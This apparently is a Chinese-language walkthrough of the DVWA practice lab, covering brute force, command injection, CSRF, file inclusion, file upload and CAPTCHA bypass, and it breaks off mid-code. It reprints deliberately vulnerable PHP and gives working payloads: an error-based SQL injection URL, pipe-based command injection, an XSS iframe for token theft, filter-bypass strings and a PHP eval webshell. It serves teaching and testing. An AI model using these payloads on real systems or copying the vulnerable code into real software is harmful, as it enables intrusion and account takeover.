一、Brute Force(暴力破解)
1.1、界面展示
描述:该漏洞常见无多因子认证的登录界面(如后台管理员登录等)
常见测试方式:采用burpsuite的intruder模块进行撞库(一般撞账户和密码,使用不同)
1.2、测试尝试
我们通过随机输入账户和密码进行抓包,之后再传送到intruder模块结合自己准备的常用账户和密码字典进行暴力破解攻击。(注意这里的常用载荷,sniper阻击手模式适合知道账户或者知道密码逐个去破解另一个缺失的项;battering ram攻城槌模式和sniper一样只是适合大量的字典进行暴力攻击;Pitchfork:将有效负载按位置进行组合,然后逐个组合进行攻击。适用于需要对有效负载进行不同排列组合的场景,例如尝试不同的用户名和密码组合。Cluster bomb:对每个有效负载进行所有可能的组合,然后逐个组合进行攻击。适用于需要尝试所有可能组合的场景,例如对多个参数进行暴力破解)
成功的撞出一个账户为admin密码为password的账户
1.3、从测试可以看出,该站点没有进行账户防破解的限制。我们可以试想如果站点限制一个账户进行3~4次输错密码进行封禁账户一段时间是不是就无法使用burp suite进行暴力破解测试了那,答案是是的;
1.4、源码解析(可以看出,通过传入账户和密码会进行和库中的进行对比,都为真才登录成功)重点:"SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';";使用的查询语句直接是变量传参没有进行任何过滤会导致sql注入风险
<?php
if( isset( $_GET[ 'Login' ] ) ) {
// Get username
$user = $_GET[ 'username' ];
// Get password
$pass = $_GET[ 'password' ];
$pass = md5( $pass );
// Check the database
$query = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
if( $result && mysqli_num_rows( $result ) == 1 ) {
// Get users details
$row = mysqli_fetch_assoc( $result );
$avatar = $row["avatar"];
// Login successful
echo "<p>Welcome to the password protected area {$user}</p>";
echo "<img src=\"{$avatar}\" />";
}
else {
// Login failed
echo "<pre><br />Username and/or password incorrect.</pre>";
}
((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}
?>
1.5、sql注入测试
通过观察在传入的参数username中输入一个单引号进行测试,发现报错,这时我们就可以使用报错注入的方式进行构造语句?username=user'%20and%20extractvalue(1,concat(0x7e,database(),0x7e,version(),0x7e))--+&password=123456&Login=Login (成功爆破出数据库和php版本,注入方式后面会在进行详细介绍)
1.6、CSRF测试(在登录账户没有推出站点,访问恶意网站或链接导致的)我们这里使用burpsuite进行浏览器测试,发现登录成功。存在该漏洞。
复制链接进行访问提交——登录成功
1.7、中级,高级、不可能代码分析
medium.php
<?php
if( isset( $_GET[ 'Login' ] ) ) {
// Sanitise username input
$user = $_GET[ 'username' ];
$user = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $user ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
// Sanitise password input
$pass = $_GET[ 'password' ];
$pass = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass = md5( $pass );
// Check the database
$query = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
if( $result && mysqli_num_rows( $result ) == 1 ) {
// Get users details
$row = mysqli_fetch_assoc( $result );
$avatar = $row["avatar"];
// Login successful
$html .= "<p>Welcome to the password protected area {$user}</p>";
$html .= "<img src=\"{$avatar}\" />";
}
else {
// Login failed
sleep( 2 );
$html .= "<pre><br />Username and/or password incorrect.</pre>";
}
((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}
?>
high.php
<?php
if( isset( $_GET[ 'Login' ] ) ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
// Sanitise username input
$user = $_GET[ 'username' ];
$user = stripslashes( $user );
$user = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $user ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
// Sanitise password input
$pass = $_GET[ 'password' ];
$pass = stripslashes( $pass );
$pass = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass = md5( $pass );
// Check database
$query = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
if( $result && mysqli_num_rows( $result ) == 1 ) {
// Get users details
$row = mysqli_fetch_assoc( $result );
$avatar = $row["avatar"];
// Login successful
$html .= "<p>Welcome to the password protected area {$user}</p>";
$html .= "<img src=\"{$avatar}\" />";
}
else {
// Login failed
sleep( rand( 0, 3 ) );
$html .= "<pre><br />Username and/or password incorrect.</pre>";
}
((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}
// Generate Anti-CSRF token
generateSessionToken();
?>
impossible.php
<?php
if( isset( $_POST[ 'Login' ] ) && isset ($_POST['username']) && isset ($_POST['password']) ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
// Sanitise username input
$user = $_POST[ 'username' ];
$user = stripslashes( $user );
$user = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $user ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
// Sanitise password input
$pass = $_POST[ 'password' ];
$pass = stripslashes( $pass );
$pass = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass = md5( $pass );
// Default values
$total_failed_login = 3;
$lockout_time = 15;
$account_locked = false;
// Check the database (Check user information)
$data = $db->prepare( 'SELECT failed_login, last_login FROM users WHERE user = (:user) LIMIT 1;' );
$data->bindParam( ':user', $user, PDO::PARAM_STR );
$data->execute();
$row = $data->fetch();
// Check to see if the user has been locked out.
if( ( $data->rowCount() == 1 ) && ( $row[ 'failed_login' ] >= $total_failed_login ) ) {
// User locked out. Note, using this method would allow for user enumeration!
//$html .= "<pre><br />This account has been locked due to too many incorrect logins.</pre>";
// Calculate when the user would be allowed to login again
$last_login = strtotime( $row[ 'last_login' ] );
$timeout = $last_login + ($lockout_time * 60);
$timenow = time();
/*
print "The last login was: " . date ("h:i:s", $last_login) . "<br />";
print "The timenow is: " . date ("h:i:s", $timenow) . "<br />";
print "The timeout is: " . date ("h:i:s", $timeout) . "<br />";
*/
// Check to see if enough time has passed, if it hasn't locked the account
if( $timenow < $timeout ) {
$account_locked = true;
// print "The account is locked<br />";
}
}
// Check the database (if username matches the password)
$data = $db->prepare( 'SELECT * FROM users WHERE user = (:user) AND password = (:password) LIMIT 1;' );
$data->bindParam( ':user', $user, PDO::PARAM_STR);
$data->bindParam( ':password', $pass, PDO::PARAM_STR );
$data->execute();
$row = $data->fetch();
// If its a valid login...
if( ( $data->rowCount() == 1 ) && ( $account_locked == false ) ) {
// Get users details
$avatar = $row[ 'avatar' ];
$failed_login = $row[ 'failed_login' ];
$last_login = $row[ 'last_login' ];
// Login successful
$html .= "<p>Welcome to the password protected area <em>{$user}</em></p>";
$html .= "<img src=\"{$avatar}\" />";
// Had the account been locked out since last login?
if( $failed_login >= $total_failed_login ) {
$html .= "<p><em>Warning</em>: Someone might of been brute forcing your account.</p>";
$html .= "<p>Number of login attempts: <em>{$failed_login}</em>.<br />Last login attempt was at: <em>${last_login}</em>.</p>";
}
// Reset bad login count
$data = $db->prepare( 'UPDATE users SET failed_login = "0" WHERE user = (:user) LIMIT 1;' );
$data->bindParam( ':user', $user, PDO::PARAM_STR );
$data->execute();
} else {
// Login failed
sleep( rand( 2, 4 ) );
// Give the user some feedback
$html .= "<pre><br />Username and/or password incorrect.<br /><br/>Alternative, the account has been locked because of too many failed logins.<br />If this is the case, <em>please try again in {$lockout_time} minutes</em>.</pre>";
// Update bad login count
$data = $db->prepare( 'UPDATE users SET failed_login = (failed_login + 1) WHERE user = (:user) LIMIT 1;' );
$data->bindParam( ':user', $user, PDO::PARAM_STR );
$data->execute();
}
// Set the last login time
$data = $db->prepare( 'UPDATE users SET last_login = now() WHERE user = (:user) LIMIT 1;' );
$data->bindParam( ':user', $user, PDO::PARAM_STR );
$data->execute();
}
// Generate Anti-CSRF token
generateSessionToken();
?>
分析:中级蒋输入的账户和密码进行了过滤来防止sql注入攻击
它使用了mysqli_real_escape_string函数来对用户名进行转义,以防止SQL注入攻击。
代码中的user变量是从_GET['username']获取的用户输入的用户名。
首先,代码使用isset函数检查$GLOBALS["___mysqli_ston"]是否存在并且是一个对象。如果条件成立,就会调用mysqli_real_escape_string函数对用户名进行转义。该函数接受两个参数,第一个参数是数据库连接对象,第二个参数是要转义的字符串。
如果条件不成立,代码会触发一个错误,并使用trigger_error函数输出错误消息。
最后,将转义后的用户名存储在$user变量中。
高级分析:相对中级增加了查询token防止了CSRF攻击。
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
不可能进行分析:我们查看到不可能在预防CSRF、SQL注入攻击后还增加了登录次数失败锁定账户的功能。
1.8、总结
我们看到DVWA靶场第一关关于暴力破解来说不同级别的代码防止的攻击也是不一样在初级状态我们可以进行暴力破解、SQL注入、CSRF攻击,在中级模式到不可能模式都增加了针对不同攻击的防范措施。
修复漏洞:通过最后不可能代码我们可以看到通过检查传输过程中username和password的token值来预防CSRF攻击,通过对传输的数据进行过滤转义进行SQL注入防范;通过对账户登录或密码输入次数都进行了限制,从而来预防暴力破解。
思考:现如今我们经常看到的站点都是采用多音字认证,比如短信验证,邮箱验证等,但这些多因子的引入,就又增加了安全的风险比如短信邮箱轰炸、传输带验证码等
二、Command Injection(命令注入)
2.1、界面展示
描述:通过界面我们看到要求我们输入ip地址,我们进行尝试,可推测该功能可执行一些系统命令
1.1、尝试使用ping命令的同事执行其他命令;返回了站点当前登录权限
我们可进行一些系统执行命令进行信息收集如(systeminfo来收集当前系统补丁情况、net user add 账户 密码 ;来增加站点用户等)
1.2、常见系统执行命令
-
whoami:显示当前登录用户的信息。
-
net user:列出本地用户账户信息。
-
net group:列出本地用户组信息。
-
net localgroup:列出本地组信息。
-
net view:列出网络上可见的计算机。
-
net share:列出本地计算机上共享的资源。
-
net use:管理网络驱动器映射
1.3、分析代码
medium.php
<?php
if( isset( $_POST[ 'Submit' ] ) ) {
// Get input
$target = $_REQUEST[ 'ip' ];
// Set blacklist
$substitutions = array(
'&&' => '',
';' => '',
);
// Remove any of the charactars in the array (blacklist).
$target = str_replace( array_keys( $substitutions ), $substitutions, $target );
// Determine OS and execute the ping command.
if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
// Windows
$cmd = shell_exec( 'ping ' . $target );
}
else {
// *nix
$cmd = shell_exec( 'ping -c 4 ' . $target );
}
// Feedback for the end user
$html .= "<pre>{$cmd}</pre>";
}
?>
high.php
<?php
if( isset( $_POST[ 'Submit' ] ) ) {
// Get input
$target = trim($_REQUEST[ 'ip' ]);
// Set blacklist
$substitutions = array(
'&' => '',
';' => '',
'| ' => '',
'-' => '',
'$' => '',
'(' => '',
')' => '',
'`' => '',
'||' => '',
);
// Remove any of the charactars in the array (blacklist).
$target = str_replace( array_keys( $substitutions ), $substitutions, $target );
// Determine OS and execute the ping command.
if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
// Windows
$cmd = shell_exec( 'ping ' . $target );
}
else {
// *nix
$cmd = shell_exec( 'ping -c 4 ' . $target );
}
// Feedback for the end user
$html .= "<pre>{$cmd}</pre>";
}
?>
impossible.php
<?php
if( isset( $_POST[ 'Submit' ] ) ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
// Get input
$target = $_REQUEST[ 'ip' ];
$target = stripslashes( $target );
// Split the IP into 4 octects
$octet = explode( ".", $target );
// Check IF each octet is an integer
if( ( is_numeric( $octet[0] ) ) && ( is_numeric( $octet[1] ) ) && ( is_numeric( $octet[2] ) ) && ( is_numeric( $octet[3] ) ) && ( sizeof( $octet ) == 4 ) ) {
// If all 4 octets are int's put the IP back together.
$target = $octet[0] . '.' . $octet[1] . '.' . $octet[2] . '.' . $octet[3];
// Determine OS and execute the ping command.
if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
// Windows
$cmd = shell_exec( 'ping ' . $target );
}
else {
// *nix
$cmd = shell_exec( 'ping -c 4 ' . $target );
}
// Feedback for the end user
$html .= "<pre>{$cmd}</pre>";
}
else {
// Ops. Let the user name theres a mistake
$html .= '<pre>ERROR: You have entered an invalid IP.</pre>';
}
}
// Generate Anti-CSRF token
generateSessionToken();
?>
描述:从中级代码到不可能我们逐项分析,在中级的时候我们看到是通过对传入的数据进行了替换当匹配上存在&&和;时进行替换为空。但我们可以利用使用 | 和 ||等进行其他尝试。
$substitutions = array(
'&&' => '',
';' => '',
);
高级代码我们看到的过滤的更多,但我们仔细观察会发现过滤管道符时开发多敲了一个空格,这就导致我们可以使用管道符后面直接拼接系统命令执行。
$substitutions = array(
'&' => '',
';' => '',
'| ' => '',
'-' => '',
'$' => '',
'(' => '',
')' => '',
'`' => '',
'||' => '',
);
最后不可能我们可以看到,代码将ip的点号之间进行判断为数字,也就是我i们正常的IP地址形式才可以,这也就杜绝了命令执行的可能。
1.4、总结
命令执行漏洞是应用在使用时会调用一些系统命令,或者可执行命令的危险函数等;这就导致在使用时需要注意对用户输入进行严格的判断和过滤。
参考:(89条消息) 【web安全】——命令执行漏洞(RCE)详解_白昼安全的博客-CSDN博客
三、CSRF(跨站脚本伪造)
3.1、界面展示
描述:跨站脚本伪造指利用受害者尚未失效的身份认证信息(cookie、会话等),诱骗其点击恶意链接或者访问包含攻击代码的页面,在受害人不知情的情况下以受害者的身份向(身份认证信息所对应的)服务器发送请求,从而完成非法操作(如转账、改密等)。CSRF与XSS最大的区别就在于,CSRF并没有盗取cookie而是直接利用。
3.2、csrf测试
我们通过界面可以观察到此时没有进行旧密码验证直接进行密码change我们进行抓包查看发现并没有进行token、referer验证就进行了修改传输;我们尝试直接发包发现直接利用成功。
3.3、代码分析
low.php
low.php
// Do the passwords match?
if( $pass_new == $pass_conf ) {
// They do!
$pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass_new = md5( $pass_new );
// Update the database
$insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
在低级中我们可以看到,对传输过来的数据只进行了简单的防SQL注入;所以我们可以直接构建就可以更改密码了
medium.php
<?php
if( isset( $_GET[ 'Change' ] ) ) {
// Checks to see where the request came from
if( stripos( $_SERVER[ 'HTTP_REFERER' ] ,$_SERVER[ 'SERVER_NAME' ]) !== false ) {
// Get input
$pass_new = $_GET[ 'password_new' ];
$pass_conf = $_GET[ 'password_conf' ];
// Do the passwords match?
if( $pass_new == $pass_conf ) {
// They do!
$pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass_new = md5( $pass_new );
// Update the database
$insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
// Feedback for the user
$html .= "<pre>Password Changed.</pre>";
}
else {
// Issue with passwords matching
$html .= "<pre>Passwords did not match.</pre>";
}
}
else {
// Didn't come from a trusted source
$html .= "<pre>That request didn't look correct.</pre>";
}
((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}
?>
可以看到中级通过if( stripos( $_SERVER[ 'HTTP_REFERER' ] ,$_SERVER[ 'SERVER_NAME' ]) !== false )这一句来比较当前修改密码请求的referer和之前的请求referer是否一致,一致就无法执行修改;那么我们的思路就是将可修改的csrf脚本放到站点目录下,让用户去访问从而达到我们的效果。
将csrf生成的poc放入到目录下报存为127.0.0.1.html后我们进行访问;发现密码已经修改,使用12345678登录成功
high.php
<?php
$change = false;
$request_type = "html";
$return_message = "Request Failed";
if ($_SERVER['REQUEST_METHOD'] == "POST" && array_key_exists ("CONTENT_TYPE", $_SERVER) && $_SERVER['CONTENT_TYPE'] == "application/json") {
$data = json_decode(file_get_contents('php://input'), true);
$request_type = "json";
if (array_key_exists("HTTP_USER_TOKEN", $_SERVER) &&
array_key_exists("password_new", $data) &&
array_key_exists("password_conf", $data) &&
array_key_exists("Change", $data)) {
$token = $_SERVER['HTTP_USER_TOKEN'];
$pass_new = $data["password_new"];
$pass_conf = $data["password_conf"];
$change = true;
}
} else {
if (array_key_exists("user_token", $_REQUEST) &&
array_key_exists("password_new", $_REQUEST) &&
array_key_exists("password_conf", $_REQUEST) &&
array_key_exists("Change", $_REQUEST)) {
$token = $_REQUEST["user_token"];
$pass_new = $_REQUEST["password_new"];
$pass_conf = $_REQUEST["password_conf"];
$change = true;
}
}
if ($change) {
// Check Anti-CSRF token
checkToken( $token, $_SESSION[ 'session_token' ], 'index.php' );
// Do the passwords match?
if( $pass_new == $pass_conf ) {
// They do!
$pass_new = mysqli_real_escape_string ($GLOBALS["___mysqli_ston"], $pass_new);
$pass_new = md5( $pass_new );
// Update the database
$insert = "UPDATE `users` SET password = '" . $pass_new . "' WHERE user = '" . dvwaCurrentUser() . "';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $insert );
// Feedback for the user
$return_message = "Password Changed.";
}
else {
// Issue with passwords matching
$return_message = "Passwords did not match.";
}
mysqli_close($GLOBALS["___mysqli_ston"]);
if ($request_type == "json") {
generateSessionToken();
header ("Content-Type: application/json");
print json_encode (array("Message" =>$return_message));
exit;
} else {
$html .= "<pre>" . $return_message . "</pre>";
}
}
// Generate Anti-CSRF token
generateSessionToken();
在修改用户密码时如果访问修改页面的token和上下文的token是否一致,如果发生了改变就无法进行修改密码;我们的思路就是要获取到 token 就必须利用用户的 cookie 值去访问修改密码页面,然后截取服务器返回的token值。然后再利用CSRF漏洞构造URL进行密码的修改。
我们在存储型XSS构造语句来返回token
<iframe src="../csrf/" οnlοad=alert(frames[0].document.getElementsByName('user_token')[0].value)>
之后将token放在修改密码的后面即可修改成功
3.4、总结
我们看到关于csrf的测试一般属于构造第一种方式就可以测试成功,因为在中级和高级中我们必须结合其他的站点漏洞利用,比如中级将poc需放在站点目录下让绕过referer检测,高级更需要结合XSS存储型漏洞等。
四、File Inclusion(文件包含)
4.1、页面展示
描述:我们看到The PHP function allow_url_include is not enabled.说明php站点如果关闭这个功能文件包含就是无法进行的,所以这方面的漏洞在日常中需进行查看phpinfo是否启用了,为了漏洞验证我们启用一下。
4.2、File inclusion文件包含测试
我们通过访问不同的文件发现page是一个可控变量,在该路径下访问的文件存在都会访问到。
然后我们一级一级目录进行回溯访问php.ini文件;暴露了站点部署的绝对路径,我们直接访问phpinfo页面 。
文件包含如果结合其他漏洞如文件上传(只能上传特定文件无法直接利用的文件上传问题等)我们尝试使用
<!DOCTYPE html>
<html>
<body>
<?php echo"这是执行恶意代码块"?>
</body>
</html>
可以将php里面内容直接嵌入恶意木马进行利用;如<?@eval($_POST['shell'])?>利用时只需访问该地址之后使用?shell=phpinfo();验证。
4.3、代码分析
中级代码
<?php
// The page we wish to display
$file = $_GET[ 'page' ];
// Input validation
$file = str_replace( array( "http://", "https://" ), "", $file );
$file = str_replace( array( "../", "..\\" ), "", $file );
?>
我们看到在中级使用了str_replace来匹配url地址中的http://或者https://以及../和..\\等替换为空,这时我们就可以使用双写关键字利用
如:hthttp://tp://127.0.0.1/DVWA/........等
高级
<?php
// The page we wish to display
$file = $_GET[ 'page' ];
// Input validation
if( !fnmatch( "file*", $file ) && $file != "include.php" ) {
// This isn't the page we want!
echo "ERROR: File not found!";
exit;
}
?>
直接使用file:///协议进行访问
4.4、总结
文件包含常见于一些文件读取、图片加载、服务器资源在不同服务器等情况,这些就说明可以通过这个漏洞进行读取服务器的所有危险文件,如web.config,数据库配置文件等;但在php站点中需要将allow_url_fopen;allow_url_include开启为on才能利用;利用形式就为远程文件包含和本地文件包含等。
五、File Upload(文件上传)
5.1、界面展示
描述:文件上传是继上面介绍的命令注入另一个可以直接造成服务器沦陷的可怕漏洞。只有对应站点对上传文件执行就可造成危害(常见危害的文件根据站点使用的开发语言有php,Java的jsp,jspx,c#,py,asmx,asp,aspx等等)
5.2、文件上传测试
我们这里直接上传php一句话木马。
我们尝试访问该地址的文件;看是否能访问得到
访问成功 ,对cmd传入phpinfo();
之后我们生成冰蝎码进行连接;之后就是进行权限的提升和内网渗透。
5.3、代码分析
低级没有对上传文件做任何限制,我们直接上传php木马即可利用。
中级
<?php
if( isset( $_POST[ 'Upload' ] ) ) {
// Where are we going to be writing to?
$target_path = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
$target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );
// File information
$uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];
$uploaded_type = $_FILES[ 'uploaded' ][ 'type' ];
$uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];
// Is it an image?
if( ( $uploaded_type == "image/jpeg" || $uploaded_type == "image/png" ) &&
( $uploaded_size < 100000 ) ) {
// Can we move the file to the upload folder?
if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) {
// No
echo '<pre>Your image was not uploaded.</pre>';
}
else {
// Yes!
echo "<pre>{$target_path} succesfully uploaded!</pre>";
}
}
else {
// Invalid file
echo '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>';
}
}
?>
中级我们看到的就是针对上传的文件类型、大小都进行了限制。,我们可现将木马后缀改为jpg之后进行抓包,将filename在进行更改为php进行上传发现上传成功。(相同的方法就可以直接使用webshell工具进行连接)
高级
<?php
if( isset( $_POST[ 'Upload' ] ) ) {
// Where are we going to be writing to?
$target_path = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
$target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );
// File information
$uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];
$uploaded_ext = substr( $uploaded_name, strrpos( $uploaded_name, '.' ) + 1);
$uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];
$uploaded_tmp = $_FILES[ 'uploaded' ][ 'tmp_name' ];
// Is it an image?
if( ( strtolower( $uploaded_ext ) == "jpg" || strtolower( $uploaded_ext ) == "jpeg" || strtolower( $uploaded_ext ) == "png" ) &&
( $uploaded_size < 100000 ) &&
getimagesize( $uploaded_tmp ) ) {
// Can we move the file to the upload folder?
if( !move_uploaded_file( $uploaded_tmp, $target_path ) ) {
// No
echo '<pre>Your image was not uploaded.</pre>';
}
else {
// Yes!
echo "<pre>{$target_path} succesfully uploaded!</pre>";
}
}
else {
// Invalid file
echo '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>';
}
}
?>
通过代码我们看到针对上传文件进行了白名单限制,必须为图片;这时我们的思路就是制作图片木马结合其他文件包含漏洞进行利用。
5.4、总结
针对文件上传 有很多的绕过手段,但都离不开利用前提,就是站点可解析上传的文件,且通过url地址可以访问的到上传的地址。才可以通过webshell管理工具进行接管,目前,针对文件上传最好的限制就是白名单校验,上传文件名变为随机命名,不回显上传地址且上传的文件地址不给执行权限,来确保上传的文件无法咋成文件上传漏洞被黑客利用。
六、Insecure CAPTCHA(不安全的验证码)
6.1、界面展示
描述:验证码通常是在验证过程中起到处其他验证条件的验证方式。一般有验证码绕过,验证码回显等问题。
6.2、验证码绕过测试
抓包观察;发现除了我们需要改的密码外有个step,我们尝试更改他的值为2发现更改成功;绕过了验证码验证
我们观察代码当step时就会将修改的账户和密码进行更新,致使密码修改成功。
<?php
if( isset( $_POST[ 'Change' ] ) && ( $_POST[ 'step' ] == '1' ) ) {
// Hide the CAPTCHA form
$hide_form = true;
// Get input
$pass_new = $_POST[ 'password_new' ];
$pass_conf = $_POST[ 'password_conf' ];
// Check CAPTCHA from 3rd party
$resp = recaptcha_check_answer(
$_DVWA[ 'recaptcha_private_key'],
$_POST['g-recaptcha-response']
);
// Did the CAPTCHA fail?
if( !$resp ) {
// What happens when the CAPTCHA was entered incorrectly
$html .= "<pre><br />The CAPTCHA was incorrect. Please try again.</pre>";
$hide_form = false;
return;
}
else {
// CAPTCHA was correct. Do both new passwords match?
if( $pass_new == $pass_conf ) {
// Show next stage for the user
echo "
<pre><br />You passed the CAPTCHA! Click the button to confirm your changes.<br /></pre>
<form action=\"#\" method=\"POST\">
<input type=\"hidden\" name=\"step\" value=\"2\" />
<input type=\"hidden\" name=\"password_new\" value=\"{$pass_new}\" />
<input type=\"hidden\" name=\"password_conf\" value=\"{$pass_conf}\" />
<input type=\"submit\" name=\"Change\" value=\"Change\" />
</form>";
}
else {
// Both new passwords do not match.
$html .= "<pre>Both passwords must match.</pre>";
$hide_form = false;
}
}
}
if( isset( $_POST[ 'Change' ] ) && ( $_POST[ 'step' ] == '2' ) ) {
// Hide the CAPTCHA form
$hide_form = true;
// Get input
$pass_new = $_POST[ 'password_new' ];
$pass_conf = $_POST[ 'password_conf' ];
// Check to see if both password match
if( $pass_new == $pass_conf ) {
// They do!
$pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass_new = md5( $pass_new );
// Update database
$insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
// Feedback for the end user
echo "<pre>Password Changed.</pre>";
}
else {
// Issue with the passwords matching
echo "<pre>Passwords did not match.</pre>";
$hide_form = false;
}
((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}
?>
6.3、其他等级代码查看
中级我们观察password changed的条件是$pass_new==$pass_conf;完成这个条件需要
step=2;passed_captcha=true;所以我们在传输过程中
<?php
if( isset( $_POST[ 'Change' ] ) && ( $_POST[ 'step' ] == '1' ) ) {
// Hide the CAPTCHA form
$hide_form = true;// Get input
$pass_new = $_POST[ 'password_new' ];
$pass_conf = $_POST[ 'password_conf' ];// Check CAPTCHA from 3rd party
$resp = recaptcha_check_answer(
$_DVWA[ 'recaptcha_private_key' ],
$_POST['g-recaptcha-response']
);// Did the CAPTCHA fail?
if( !$resp ) {
// What happens when the CAPTCHA was entered incorrectly
$html .= "<pre><br />The CAPTCHA was incorrect. Please try again.</pre>";
$hide_form = false;
return;
}
else {
// CAPTCHA was correct. Do both new passwords match?
if( $pass_new == $pass_conf ) {
// Show next stage for the user
$html .= "
<pre><br />You passed the CAPTCHA! Click the button to confirm your changes.<br /></pre>
<form action=\"#\" method=\"POST\">
<input type=\"hidden\" name=\"step\" value=\"2\" />
<input type=\"hidden\" name=\"password_new\" value=\"{$pass_new}\" />
<input type=\"hidden\" name=\"password_conf\" value=\"{$pass_conf}\" />
<input type=\"hidden\" name=\"passed_captcha\" value=\"true\" />
<input type=\"submit\" name=\"Change\" value=\"Change\" />
</form>";
}
else {
